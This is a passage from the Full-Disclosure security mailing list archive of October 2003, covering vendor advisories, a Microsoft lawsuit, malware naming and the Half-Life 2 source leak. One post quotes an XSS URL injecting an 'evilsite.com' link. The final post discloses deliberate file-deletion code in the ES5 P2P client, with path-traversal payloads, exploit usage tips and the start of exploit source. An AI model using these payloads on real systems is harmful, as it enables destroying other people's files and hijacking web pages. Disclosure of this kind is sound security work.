<001601c38879$b18f3a40$ca02a8c0@winxpnetsniper> <3F7CC903.3040706@snosoft.com> <20031002033443.GA66899@netpublishing.com> <200310012316.56022.jeremiah@nur.net> Message-ID: <20031002193746.GB25982@eiv.com> On Wed, Oct 01, 2003 at 11:16:20PM -0700, Jeremiah Cornelius said: > > The fact that they have at least two "former" NSA personnel in the ranks of > senior technical management should be all the tip-off that anyone would need. Are you kidding? Former NSA tech folks are a dime a dozen. I work with half a dozen of them at FedEx. -- Shawn McMahon | Let every nation know, whether it wishes us well or ill, EIV Consulting | that we shall pay any price, bear any burden, meet any UNIX and Linux | hardship, support any friend, oppose any foe, to assure http://www.eiv.com| the survival and the success of liberty. - JFK -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031002/533fdf31/attachment.bin From rms at computerbytesman.com Thu Oct 2 20:47:26 2003 From: rms at computerbytesman.com (Richard M. Smith) Date: Thu, 2 Oct 2003 15:47:26 -0400 Subject: [Full-Disclosure] Class-action suit points to Microsoft security flaws Message-ID: <018f01c3891e$01cf4190$550ffea9@rms> Class-action suit points to Microsoft security flaws http://news.com.com/2100-1009-5085730.html Microsoft faces a proposed class-action lawsuit in California based on the claim that its software's market dominance and vulnerability to viruses could lead to "massive, cascading failures" in global computer networks. The lawsuit, filed Tuesday in Los Angeles Superior Court, also claims that Microsoft's security warnings are too complex to be understood by the general public and serve instead to tip off "fast-moving" hackers on how to exploit flaws in its operating system. The suit claims unfair competition and the violation of two California consumer rights laws, one of which is intended to protect the privacy of personal information in computer databases. It asks for unspecified damages and legal costs, as well as an injunction against Microsoft barring it from unfair business practices. Many of the arguments in the lawsuit and some of its language echoed a report issued by computer security experts in late September, which warned that the all-but-total reach of Microsoft's software on desktops worldwide had made computer networks a national security risk. ... "Microsoft's eclipsing dominance in desktop software has created a global security risk," the lawsuit said. "As a result of Microsoft's concerted effort to strengthen and expand its monopolies by tightly integrating applications with its operating system.the world's computer networks are now susceptible to massive, cascading failure." With some $49 billion in cash and more than 90 percent of the market in PC operating systems, Microsoft has long been seen as a potential target for massive liability lawsuits. ... From semerson1978 at yahoo.com Thu Oct 2 20:56:18 2003 From: semerson1978 at yahoo.com (Sherri Emerson) Date: Thu, 2 Oct 2003 12:56:18 -0700 (PDT) Subject: [Full-Disclosure] FW: IBM AIX GetIPNodeByName API Socket Management Vulnerability Message-ID: <20031002195618.52359.qmail@web13008.mail.yahoo.com> Hey yall! Although I've followed it for years, this is my frist time posting to the list, so bear please with me if I start to ramble or don't follow protocol. My friend sent this to me and I don't know where she got it, but I run AIX 5.2 and would love to know more about this. Has anyone heard anything? It says IBM disclosed the info, but I can't find usable stuff anywhere. Thanks! -Sherri --- Crystal Mensy wrote: > Date: 01 Oct 2003 07:47:12 -0700 (PDT) > From: Crystal Mensy > Subject: IBM AIX GetIPNodeByName API Socket Management Vulnerability > To: Sherri Emerson > > Hey Bebe!! :> I was wondering if this would be > handy to ya or not? > > -------- > Security Alert > Subject: IBM AIX GetIPNodeByName API Socket Management Vulnerability > BUGTRAQ ID: 8738 CVE ID: CVE-MAP-NOMATCH > Published: 2003-10-01 Updated: 2003-10-01 09:45:36 GMT > > Vulnerable Systems: > IBM AIX 5.2 > IBM AIX 5.1 > > Short Summary: > IBM AIX vulnerable to an issue in socket management > that may allow an attacker to deny service ot to > crash some applications. > Impact: It is possible to deny service to legitimate > users of a program on a vulnerable system. > > Technical Description: > AIX is the UNIX operating system distributed and > maintained by IBM. A problem has been reported in > the socket handling of IBM AIX. Because of this, an > attacker may be able to crash an application on a > vulnerable system. > > The problem is in the management of sockets that > use the GetIPNodeByName function. Under some > circumstances, this function does not properly close > sockets during operation. This may allow an attacker > to open a large amount of sockets in services using > the function, resulting in a denial of service. > > Solutions: > Currently we are not aware of any vendor-supplied > patches for this issue. If you feel we are in error > or are aware of more recent information, please mail > us at: vulndb at securityfocus.com > . > Credit: > Vulnerability disclosed by IBM. > References: > web page: > AIX Hopepage (IBM) > http://www-1.ibm.com/servers/aix/ > > > Change Log: > Oct 01, 2003 Initial analysis. > > __________________________________ > Do you Yahoo!? > The New Yahoo! Shopping - with improved product > search > http://shopping.yahoo.com __________________________________ Do you Yahoo!? The New Yahoo! Shopping - with improved product search http://shopping.yahoo.com From johnm at gentoo.org Thu Oct 2 20:10:11 2003 From: johnm at gentoo.org (John Mylchreest) Date: Thu, 02 Oct 2003 20:10:11 +0100 Subject: [Full-Disclosure] GLSA: vpopmail (200310-01) Message-ID: <1065121811.13859.10.camel@johnm.willow.local> GENTOO LINUX SECURITY ANNOUNCEMENT --------------------------------------------------------------------- PACKAGE : vpopmail SUMMARY : Insecure file permissions. DATE : 2003-10-02 18:28 UTC EXPLOIT : local VERSIONS AFFECTED : <=5.2.1-r5 FIXED VERSION : 5.2.1-r6 GENTOO BUG # : 23502 CVE : none known at present time --------------------------------------------------------------------- DESCRIPTION: The file /etc/vpopmail.conf which is distributed by versions of vpopmail less than 5.2.1-r6 has insecure permissions when merged with USE="mysql" causing it to be world readable. This means that any local user is able to view the contents of this file. The file contains unencrypted password information used to access the MySQL database server to modify the vpopmail table information. SOLUTION: chmod 640 /etc/vpopmail.conf emerge sync emerge -u vpopmail -pv emerge -u vpopmail emerge clean -- John Mylchreest. Gentoo Linux: http://www.gentoo.org Public Key: gpg --recv-keys 0xEAB9E721 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xEAB9E721 Key fingerprint: 0670 E5E4 F461 806B 860A 2245 A40E 72EB EAB9 E721 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031002/577f441e/attachment.bin From shivapd at us.ibm.com Thu Oct 2 21:47:40 2003 From: shivapd at us.ibm.com (Shiva Persaud) Date: Thu, 2 Oct 2003 15:47:40 -0500 Subject: [Full-Disclosure] FW: IBM AIX GetIPNodeByName API Socket Management Vulnerability Message-ID: >From the IBM AIX advisory: A. Official Fix IBM provides the following fixes: ? ? ?APAR number for AIX 5.1.0: ?IY46273 (available)? ? ?APAR number for AIX 5.2.0: ?IY46024 (available) Shiva Persaud AIX Security Developer shivapd at us.ibm.com |---------+--------------------------------------> | | Sherri Emerson | | | | | | Sent by: | | | full-disclosure-admin at lists| | | .netsys.com | | | | | | | | | 10/02/2003 02:56 PM | | | | |---------+--------------------------------------> >------------------------------------------------------------------------------------------------------------------------------| | | | To: full-disclosure at lists.netsys.com | | cc: | | Subject: [Full-Disclosure] FW: IBM AIX GetIPNodeByName API Socket Management Vulnerability | | | >------------------------------------------------------------------------------------------------------------------------------| Hey yall! Although I've followed it for years, this is my frist time posting to the list, so bear please with me if I start to ramble or don't follow protocol. My friend sent this to me and I don't know where she got it, but I run AIX 5.2 and would love to know more about this. Has anyone heard anything? It says IBM disclosed the info, but I can't find usable stuff anywhere. Thanks! -Sherri --- Crystal Mensy wrote: > Date: 01 Oct 2003 07:47:12 -0700 (PDT) > From: Crystal Mensy > Subject: IBM AIX GetIPNodeByName API Socket Management Vulnerability > To: Sherri Emerson > > Hey Bebe!! :> I was wondering if this would be > handy to ya or not? > > -------- > Security Alert > Subject: IBM AIX GetIPNodeByName API Socket Management Vulnerability > BUGTRAQ ID: 8738 CVE ID: CVE-MAP-NOMATCH > Published: 2003-10-01 Updated: 2003-10-01 09:45:36 GMT > > Vulnerable Systems: > IBM AIX 5.2 > IBM AIX 5.1 > > Short Summary: > IBM AIX vulnerable to an issue in socket management > that may allow an attacker to deny service ot to > crash some applications. > Impact: It is possible to deny service to legitimate > users of a program on a vulnerable system. > > Technical Description: > AIX is the UNIX operating system distributed and > maintained by IBM. A problem has been reported in > the socket handling of IBM AIX. Because of this, an > attacker may be able to crash an application on a > vulnerable system. > > The problem is in the management of sockets that > use the GetIPNodeByName function. Under some > circumstances, this function does not properly close > sockets during operation. This may allow an attacker > to open a large amount of sockets in services using > the function, resulting in a denial of service. > > Solutions: > Currently we are not aware of any vendor-supplied > patches for this issue. If you feel we are in error > or are aware of more recent information, please mail > us at: vulndb at securityfocus.com > . > Credit: > Vulnerability disclosed by IBM. > References: > web page: > AIX Hopepage (IBM) > http://www-1.ibm.com/servers/aix/ > > > Change Log: > Oct 01, 2003 Initial analysis. > > __________________________________ > Do you Yahoo!? > The New Yahoo! Shopping - with improved product > search > http://shopping.yahoo.com __________________________________ Do you Yahoo!? The New Yahoo! Shopping - with improved product search http://shopping.yahoo.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From fw at deneb.enyo.de Thu Oct 2 21:59:12 2003 From: fw at deneb.enyo.de (Florian Weimer) Date: Thu, 2 Oct 2003 22:59:12 +0200 Subject: [Full-Disclosure] Solaris security patches. In-Reply-To: <20031002032029.GB29899@netsys.com> References: <20031002032029.GB29899@netsys.com> Message-ID: <20031002205912.GA7487@deneb.enyo.de> Len Rose wrote: > NOTE: These are personal opinions and as such I do not speak > for any entity other than myself. > It's been quite a while for those who rely on ssh and sendmail, > so generally everyone eventually is forced to ditch "official" > versions of ssh and sendmail in favour of building these critical > pieces of software from source from the open source development > teams. Furthermore, you can't be sure that a maintainance upgrade introduces code with known, widely-published security issues (so seen with BIND). And no, you aren't told at once. 8-( Let's face it, if you run Solaris, you don't do that for its security. Sun customers as a whole have a wide range of priorities, and security is just one of them. In some environments where Sun servers are traditionally used, I can fully understand that it's more important to fix certain non-security defects or deliver additional features. From keith.stevenson at louisville.edu Thu Oct 2 22:02:32 2003 From: keith.stevenson at louisville.edu (Keith Stevenson) Date: Thu, 2 Oct 2003 17:02:32 -0400 Subject: [Full-Disclosure] FW: IBM AIX GetIPNodeByName API Socket Management Vulnerability In-Reply-To: <20031002195618.52359.qmail@web13008.mail.yahoo.com>; from semerson1978@yahoo.com on Thu, Oct 02, 2003 at 12:56:18PM -0700 References: <20031002195618.52359.qmail@web13008.mail.yahoo.com> Message-ID: <20031002170232.A4042@osaka.louisville.edu> On Thu, Oct 02, 2003 at 12:56:18PM -0700, Sherri Emerson wrote: > Hey yall! Although I've followed it for years, this > is my frist time posting to the list, so bear please > with me if I start to ramble or don't follow protocol. > > My friend sent this to me and I don't know where she > got it, but I run AIX 5.2 and would love to know more > about this. Has anyone heard anything? It says IBM > disclosed the info, but I can't find usable stuff > anywhere. > Not only is it official, there is an APAR available from IBM to address the issue: AIX 4.3.3 - Not vulnerable AIX 5.1 - APAR IY46273 AIX 5.2 - APAR IY46024 APARs are available from: https://techsupport.services.ibm.com/server/aix.fdc IBM's analysis states that the impact is limited to denial of service attacks against applications that use the getipnodebyname() call. Regards, --Keith Stevenson-- -- Keith Stevenson System Programmer - Data Center Services - University of Louisville keith.stevenson at louisville.edu GPG key fingerprint = 332D 97F0 6321 F00F 8EE7 2D44 00D8 F384 75BB 89AE From dufresne at winternet.com Thu Oct 2 22:51:07 2003 From: dufresne at winternet.com (Ron DuFresne) Date: Thu, 2 Oct 2003 16:51:07 -0500 (CDT) Subject: [Full-Disclosure] Microsoft moves beyond patches In-Reply-To: <200310021829.h92ITmqd012215@turing-police.cc.vt.edu> Message-ID: On Thu, 2 Oct 2003 Valdis.Kletnieks at vt.edu wrote: > On Thu, 02 Oct 2003 11:50:15 CDT, Ron DuFresne said: > > > Unless you are promoting host based defense, which is not quite there yet, > > and an administrative nightmare, I think you'd find a strong argument this > > is *not* the case, at least at present. > > Tell that to all the corporate nets that have been whacked by a worm brought > in on a laptop, VPN connection, or other similar backdoor. > > (yes yes, I know it's a "failure to define perimeter correctly". The fact that > it wasn't defined correctly *IS* the problem with the technology....) > nonono, certainly not a problem with the technology, nor the philosophy, but an implimentation error. Afterall, as you hint, they opend a backdoor and got slammed by it. I've been for years now saying that VPN's are not the endall to beall and are used far *too* freely and frequently. Punch a hole or two in a firewall and it's on it's way to becoming little more then a standard router. Thanks, Ron DuFresne ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "Cutting the space budget really restores my faith in humanity. It eliminates dreams, goals, and ideals and lets us get straight to the business of hate, debauchery, and self-annihilation." -- Johnny Hart ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. From nick at virus-l.demon.co.uk Thu Oct 2 22:58:28 2003 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Fri, 03 Oct 2003 09:58:28 +1200 Subject: AW: [Full-Disclosure] Asynchronous, industry-wide virus naming scheme proposed In-Reply-To: Message-ID: <3F7D4844.10758.94F4290@localhost> vogt at hansenet.com replies to Feher Tamas: > > Yet, I propose a project that reduces its scope to reaching a uniform > > and industry-wide virus name for any malware some 24-36h after the > > first discovery is still feasible and realistic. I've just returned home from some extensive travels (including several detailed discussions of malware naming issues) and plan to post a detailed response to Feher's original message (which I have not read beyond skimming the first paragraph, noting its length and deciding it should wait till I have more time to give it more detailed attention) once I've caught up with all my Email and done a couple of days work... > The weather frogs have this problem solved for as long as I can think. > Of course, they don't have financial pressure to make the headlines, > so the names don't have to be flashy. However, I can quickly comment on this as it very simply will not work. It will not work for one, or both, of two reasons... The first is scale -- how many "tropical storms", hurricanes, etc do the met folk have a need to name each "season"? A few dozen storms and at most around 10 to 20 hurricanes (per oecanic/geographic area). The pre-defined list of names mechanism the met folk have adopted scales very nicely onto a problem set of that size. But note that the existence of such storm systems (and thus the need to name them as they appear) are tightly defined by objectively _and easily_ measured criteria (sustained wind speeds through some unit of time), and even though these criteria differ from oceanic/geographic region to region, correct detection and anming is possible from anywhere that suitable meterological data are available. Also, note that a detection delay of a few hours is probably not terribly critical (except, perhaps, to shipping in the immediate path of such storms, though even then, they tend to develop slowly relative to malware outbreaks and prudent skippers will set courses around apparently deepening storm systems). None of those factors come close to applying to today's fast-moving malware incidents -- we see many thousands of behaviourally or code- wise similar mass-mailers, network share crawlers, pure network worms, etc per year with no way of telling a priori whether any particular one is likely to be one of those that "makes a lucky break" and thus "deserves" special attention to name selection; we have a great number of people all round the world working on the general "problem" of locating and adding detection of these things to their products who (unfortunately) do not talk amongst themselves as much as some of us would wish; and we have a fairly strong inclination to name these things in familial groups based on code similarity (which is really the second point, explained in more detail below). further, in some cases there is no easy (filename, file size, hash, etc) way to objectively identify a specific piece of code as an instance of "the same code" as has already been named by some other researcher (tropical storms are easy in that they do not replicate wildly with samples of the same storm appearing at spots all over the globe while possibly employing self-modifying code routines that obscure the real natuure of the underlying storm system...) In short, the scale of appearance of malware and thus also its rate of appearance, problems surrounding the identification of samples as exemplars, the non-objectivity of "severity" information and the widespread desire to correctly group malware familially all mitigate severely against adopting the naming approach that works so well in the entirely different and chronically weak, analogically, storm naming field. The second problem is that malware is named taxonomically, so the "correct" name for a "new" piece of malware is partly dependent on the names already applied to previously analysed and named malware. Rather inconveniently for the storm naming appraoch, it is not always the case that the first "notable" member of a family is the initial variant of that family. The naming purists (and despite the mess across the industry as a whole, there actually are a few of these!) will insist on naming a subsequent variant of an existing family as such, and this alone simply will not fit the "predefined list of names" approach and I strongly believe that even if the other weaknesses of that approach, described above, could be reduced or eliminated, this alone is a major flaw of that approach that would discourage those who have historically shown the most concern for standardizing naming and for working toward better cross-vendor naming consistency. "Penalizing" those who have worked hardest at improving malware naming is unlikely to prove very fruitful... -- Nick FitzGerald Computer Virus Consulting Ltd. Ph/FAX: +64 3 3529854 From vosipov at tpg.com.au Thu Oct 2 23:00:32 2003 From: vosipov at tpg.com.au (V.O.) Date: Fri, 3 Oct 2003 08:00:32 +1000 Subject: [Full-Disclosure] Class-action suit points to Microsoft security flaws References: <018f01c3891e$01cf4190$550ffea9@rms> Message-ID: <003801c38930$9a59ae70$6a19f4dc@vaio> " The lawsuit, filed Tuesday in Los Angeles Superior Court, also claims that Microsoft's security warnings are too complex to be understood by the general public and serve instead to tip off "fast-moving" hackers on how to exploit flaws in its operating system." Cool. Does this mean that they want Microsoft to stop publishing these bulletins or to educate all of the users of it's products in the area of information security? :) ----- Original Message ----- From: "Richard M. Smith" To: Sent: Friday, October 03, 2003 5:47 AM Subject: [Full-Disclosure] Class-action suit points to Microsoft security flaws > Class-action suit points to Microsoft security flaws > http://news.com.com/2100-1009-5085730.html > > Microsoft faces a proposed class-action lawsuit in California based on the claim that its software's market dominance and > vulnerability to viruses could lead to "massive, cascading failures" in global computer networks. > > The lawsuit, filed Tuesday in Los Angeles Superior Court, also claims that Microsoft's security warnings are too complex to be > understood by the general public and serve instead to tip off "fast-moving" hackers on how to exploit flaws in its operating system. > > > The suit claims unfair competition and the violation of two California consumer rights laws, one of which is intended to protect the > privacy of personal information in computer databases. It asks for unspecified damages and legal costs, as well as an injunction > against Microsoft barring it from unfair business practices. > > Many of the arguments in the lawsuit and some of its language echoed a report issued by computer security experts in late September, > which warned that the all-but-total reach of Microsoft's software on desktops worldwide had made computer networks a national > security risk. > > ... > > "Microsoft's eclipsing dominance in desktop software has created a global security risk," the lawsuit said. "As a result of > Microsoft's concerted effort to strengthen and expand its monopolies by tightly integrating applications with its operating > system.the world's computer networks are now susceptible to massive, cascading failure." > > With some $49 billion in cash and more than 90 percent of the market in PC operating systems, Microsoft has long been seen as a > potential target for massive liability lawsuits. > > ... > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > > From jorge at pistone.com.ar Thu Oct 2 23:12:51 2003 From: jorge at pistone.com.ar (Pistone) Date: Thu, 2 Oct 2003 19:12:51 -0300 Subject: [Full-Disclosure] INTERNIC WHOIS untrusted link XSS References: Message-ID: <004d01c38932$53d36980$83aee818@Holmes> Aha, Jul 23 2002 5:19AM http://www.securityfocus.com/archive/82/283724/2002-07-17/2002-07-23/0 20 May 2003 00:29:17 http://lists.netsys.com/pipermail/full-disclosure/2003-May/005092.html >untrusted link XSS > untrusted link XSS ... > http://www-whois.internic.net/cgi/whois?whois_nic=%3Ca+href%3Dhttp%3A%2F%2Fe > vilsite.com%3Eclick%20here%20for%20results%3C%2Fa%3E&type=domain > > or any xss you wish to embed is also OK > morning_wood ( XSS king ) <-- (XSS CopyKing) From security at sco.com Thu Oct 2 22:45:48 2003 From: security at sco.com (security at sco.com) Date: Thu, 2 Oct 2003 14:45:48 -0700 Subject: [Full-Disclosure] UnixWare 7.1.3 Open UNIX 8.0.0 UnixWare 7.1.1 : OpenSSL Multiple Vulnerabilities Message-ID: <20031002144548.A18271@caldera.com> To: announce at lists.sco.com bugtraq at securityfocus.com full-disclosure at lists.netsys.com -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ______________________________________________________________________________ SCO Security Advisory Subject: UnixWare 7.1.3 Open UNIX 8.0.0 UnixWare 7.1.1 : OpenSSL Multiple Vulnerabilities Advisory number: CSSA-2003-SCO.25 Issue date: 2003 October 01 Cross reference: ______________________________________________________________________________ 1. Problem Description OpenSSL is a commercial-grade, full-featured, open source toolkit that implements Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols, as well as a full-strength general purpose cryptography library. Multiple vulnerabilities have been found that could result in denial of service. NISCC (www.niscc.gov.uk) prepared a test suite to check the operation of SSL/TLS software when presented with a wide range of malformed client certificates. Dr Stephen Henson (steve at openssl.org) of the OpenSSL core team identified and prepared fixes for a number of vulnerabilities in the OpenSSL ASN1 code when running the test suite. A bug in OpenSSLs SSL/TLS protocol was also identified which causes OpenSSL to parse a client certificate from an SSL/TLS client when it should reject it as a protocol error. For the full OpenSSL advisory please see: http://www.openssl.org/news/secadv_20030930.txt The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2003-0545 and CAN-2003-0543 and CAN-2003-0544 to these issues. CERT has assigned the names VU#935264, VU#255484 and VU#255484 to these issues. CERT VU#935264 / CAN-2003-0545: Double-free vulnerability in OpenSSL 0.9.7 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an SSL client certificate with a certain invalid ASN.1 encoding. CERT VU#255484 / CAN-2003-0543: Integer overflow in OpenSSL 0.9.6 and 0.9.7 allows remote attackers to cause a denial of service (crash) via an SSL client certificate with certain ASN.1 tag values. CERT VU#255484 / CAN-2003-0544: OpenSSL 0.9.6 and 0.9.7 does not properly track the number of characters in certain ASN.1 inputs, which allows remote attackers to cause a denial of service (crash) via an SSL client certificate that causes OpenSSL to read past the end of a buffer when the long form is used. 2. Vulnerable Supported Versions System Binaries ---------------------------------------------------------------------- UnixWare 7.1.3, Open UNIX 8.0.0, UnixWare 7.1.1 /usr/lib/libcrypto.a /usr/lib/libcrypto.so.0.9.7 /usr/lib/libssl.a /usr/lib/libssl.so.0.9.7 3. Solution The proper solution is to install the latest packages. 4. UnixWare 7.1.3 / Open UNIX 8.0.0 / UnixWare 7.1.1 4.1 The OpenSsl package must be installed. It is located at ftp://ftp.sco.com/pub/unixware7/713/uw713up/openssl.image 4.2 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/UnixWare/CSSA-2003-SCO.25 4.3 Verification MD5 (erg712449.Z) = 3a52615dfa14ef4ea7be1a4221fa7aed md5 is available for download from ftp://ftp.sco.com/pub/security/tools 4.4 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: 1. Download the erg712449.Z file to the /tmp directory on your machine. 2. As root, uncompress the file and add the package to your system using these commands: $ su Password: # uncompress /tmp/erg712449.Z # pkgadd -d /tmp/erg712449 # rm /tmp/erg712449 5. References Specific references for this advisory: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0543 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0544 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0545 http://www.kb.cert.org/vuls/id/255484 http://www.kb.cert.org/vuls/id/380864 http://www.kb.cert.org/vuls/id/935264 http://www.openssl.org/news/secadv_20030930.txt http://www.uniras.gov.uk/vuls/2003/006489/tls.htm http://www.uniras.gov.uk/vuls/2003/006489/openssl.htm SCO security resources: http://www.sco.com/support/security/index.html This security fix closes SCO incidents sr885388 fz528383 erg712449. 6. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. 7. Acknowledgments SCO would like to thank Dr. Stephen Henson who discovered a number of errors in the OpenSSL ASN1 code, using a test suite provided by NISCC (www.niscc.gov.uk). SCO would also like to thank NISCC for their research. ______________________________________________________________________________ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (SCO/UNIX_SVR5) iD8DBQE/fJpMaqoBO7ipriERAimTAKCD0Fc7lvB+U1Kcl7OWg8nvpW7BwgCcC5gB zjSCvwefmDABKJ6nszYaMOI= =+4qS -----END PGP SIGNATURE----- From ALudwig at Calfingroup.com Fri Oct 3 00:56:20 2003 From: ALudwig at Calfingroup.com (Andre Ludwig) Date: Thu, 2 Oct 2003 16:56:20 -0700 Subject: [Full-Disclosure] Semi OT, Half Life 2 source code leaked due to Outlook flaw. Message-ID: All I can say is I hope that EVERYONE takes note of this hack. >From the description of the official mouthpiece of Sierra software it sounds like his machine was root kitted. Any thoughts on this? Ever have one of those weeks? This has just not been the best couple of days for me or for Valve. Yes, the source code that has been posted is the HL-2 source code. Here is what we know: 1) Starting around 9/11 of this year, someone other than me was accessing my email account. This has been determined by looking at traffic on our email server versus my travel schedule. 2) Shortly afterwards my machine started acting weird (right-clicking on executables would crash explorer). I was unable to find a virus or trojan on my machine, I reformatted my hard drive, and reinstalled. 3) For the next week, there appears to have been suspicious activity on my webmail account. 4) Around 9/19 someone made a copy of the HL-2 source tree. 5) At some point, keystroke recorders got installed on several machines at Valve. Our speculation is that these were done via a buffer overflow in Outlook's preview pane. This recorder is apparently a customized version of RemoteAnywhere created to infect Valve (at least it hasn't been seen anywhere else, and isn't detected by normal virus scanning tools). 6) Periodically for the last year we've been the subject of a variety of denial of service attacks targetted at our webservers and at Steam. We don't know if these are related or independent. Well, this sucks. What I'd appreciate is the assistance of the community in tracking this down. I have a special email address for people to send information to, helpvalve at valvesoftware.com . If you have information about the denial of service attacks or the infiltration of our network, please send the details. There are some pretty obvious places to start with the posts and records in IRC, so if you can point us in the right direction, that would be great. We at Valve have always thought of ourselves as being part of a community, and I can't imagine a better group of people to help us take care of these problems than this community. Gabe http://games.slashdot.org/games/03/10/02/1547218.shtml?tid=126&tid=127&tid=1 56&tid=186 http://www.shacknews.com/onearticle.x/28619 Andre Ludwig, CISSP From randnut at yahoo.com Fri Oct 3 01:18:16 2003 From: randnut at yahoo.com (random nut) Date: Thu, 2 Oct 2003 17:18:16 -0700 (PDT) Subject: [Full-Disclosure] EartStation 5 P2P application contains malicious code Message-ID: <20031003001816.46717.qmail@web60108.mail.yahoo.com> EartStation 5 P2P application contains malicious code ----------------------------------------------------- ES5 info -------- EarthStation 5 (aka ES5, aka ESV) (http://www.earthstation5.com and http://forums2.es5.com/) is a P2P application first released about 6-12 months ago. The people behind ES5 claim that ES5 is the most secure P2P software in the world. They also claim that they are security experts, and that they have more than 15 million simultaneous users on-line 24/7. In comparison Kazaa, the most popular P2P application, only has about 4 million simultaneous users on-line at any given time of day. Malicious code -------------- There exists malicious code in ES5.exe's "Search Service" packet handler. By sending packet 0Ch, sub-function 07h to the "Search Service"'s IP:Port, a remote attacker could delete any file the user is sharing. If the remote attacker uses "filenames" with a relative path in them (eg. "..\..\..\WINDOWS\NOTEPAD.EXE"), the remote attacker could also delete files in eg. the windows and windows\system32 folders, or any other folder on the same partition as any of the shared folders. Since most users using Windows are in the Administrators group, a remote attacker could also delete the C:\BOOT.INI file which is a required boot file used by ntldr. IMPORTANT: This is not a bug! They intentionally added this code to ES5. Vulnerabilities --------------- There also exists a lot of other vulnerabilities in ES5 (eg. DoS attacks, buffer overflow bugs, and so on), but these all seem to be unintentional. Another advisory may have more info on these vulnerabilities, but I'm not their beta tester so don't hold your breath. Conclusion ---------- The people behind ES5 have intentionally added malicious code to ES5. If you have followed the ES5 discussions on message boards and read what the ES5 people have said and done (eg. DoS attacking BitTorrent sites), this comes as no surprise. The question then is "why did they do it?" I'm sure they won't tell us, but here's a theory: They could be working for the RIAA, MPAA, or a similar organization. Once they have enough users on their ES5 network, they would start deleting all copyrighted files they own which their users are sharing. The users wouldn't know what hit them. Tested ES5 builds ----------------- ES5 build 1266 ES5 build 2180 (latest version) MD5 sums of files ----------------- MD5 sum (using RFC 1321 source code) of tested files (just in case the ES5 people will remove the malicious code w/o changing the build number) e35838ef6668abe883344e3a7e734794 *es5beta1266.exe ce44a1f0542b9132f2debd9866febc65 *es5beta2180.exe 373c30ba0e8b1dce05dcab2acce94a77 *es5_build1266.exe 915de0f8e72be40bf071a86bc9dc2626 *es5_build2180.exe 2,244,663 es5_build1266.exe (ES5.exe - build 1266) 2,347,063 es5_build2180.exe (ES5.exe - build 2180 - latest version) 4,436,309 es5beta1266.exe (ES5 installer - build 1266) 4,553,325 es5beta2180.exe (ES5 installer - build 2180 - latest version) The official ES5 installer download URL is http://download.es5.com/es5beta.exe , but check its MD5 sum before installing it in case they changed it. Credits ------- me :) for discovering it (randnut at yahoo.com) Exploit code ------------ Go to http://www.geocities.com/esvuln to download the exploit binary and source code (it looks weird in this email). Source code to esv ("ExpoitStation 5" or "EarthStation Vulnerabilities", you decide) but first a little FAQ... 1Q: esv doesn't work after a couple of times. 1A: Make sure that there are no other es5.exe processes running in the background. ES5.exe usually doesn't exit completely, so use taskmgr.exe (or press CTRL+SHIFT+ESC) to kill all es5.exe processes. Then start es5.exe and try esv again. It can also happen if es5.exe hasn't initialized all its server code. Wait a couple of seconds before running esv so es5.exe has time to initialize its network code. Another possibility is that the UDP packets sent from esv to es5.exe are lost. Try a couple of more times and at least one should reach its destination intact. 2Q: I can't delete files on the other computer 2A: You can't delete files until the other computer's es5.exe's Search Service has updated number of files it's sharing. Go to Activity to check Search Service on the other computer (make sure you have enabled option "Enable ALL activity" in Settings or you won't see it). Then wait for usually 30-60 secs after startup for the "Search Service" line to change from "Clients:0 Files:0" to something like "Clients:1 Files:3". Now delete your files. If you're not a Sun/Star, you should instead wait until the "Sun: NAME SuperNova: NAME" line changes from "Sharing Files:0 Megs:0" to something like "Sharing Files:2 Megs:0". Make sure that the path to the shared folder is correct. You can find the correct path if you check the other computer's ES5 settings. Copy and paste it because it must be the exact same string. Example, if the path is "C:\Program Files\EarthStation5\New Media Files", it's possible that ES5 instead uses "C:\Progra~1\EarthStation5\New Media Files", or "C:\PROGRAM FILES\EARTHSTATION5\New Media Files" or any other combination. Also note that you cannot delete files with relative paths containing a double backaslash followed by two dots ("\\..") under Win98 (and probably also Win95 and WinME). There's a bug in es5.exe where it will use double backslashes. Example, if the shared dir is "C:\Program Files\EarthStation5\New Media Files", then es5.exe will save that as "C:\Program Files\EarthStation5\New Media Files\" (note the last backslash). If you want to delete the file "C:\WINDOWS\NOTEPAD.EXE", you could specify this relative path as the "filename" "..\..\..\WINDOWS\NOTEPAD.EXE". es5.exe will put these two strings together like so: "C:\Program Files\EarthStation5\New Media Files\\..\..\..\WINDOWS\NOTEPAD.EXE" (note the double backslash). Windows XP (and probably WinNT, Win2000, Win2003) can delete these files, though. Note that all Windows OSes can delete all user's shared files without a problem. ********** BEGIN esv.cpp ********** /* * esv - "ExploitStation V" or "EarthStation Vulnerabilities" * (C)2003 random nut (randnut at yahoo.com) * All rights reserved. * * This code is released to the public because the people behind ES5 * would claim I lie. Thus, I have no choice but to let everyone * download and run this application to prove that I'm right. Only try * this on computers you're allowed to delete files on, and don't try * this at home kids. */ #include #include #include #include typedef unsigned char uint8; typedef unsigned short uint16; typedef unsigned long uint32; typedef signed char int8; typedef short int16; typedef long int32; uint32 __GetChecksum(const char* buf, int buflen = 0, int uplim = 0x7FFFFFFF, int 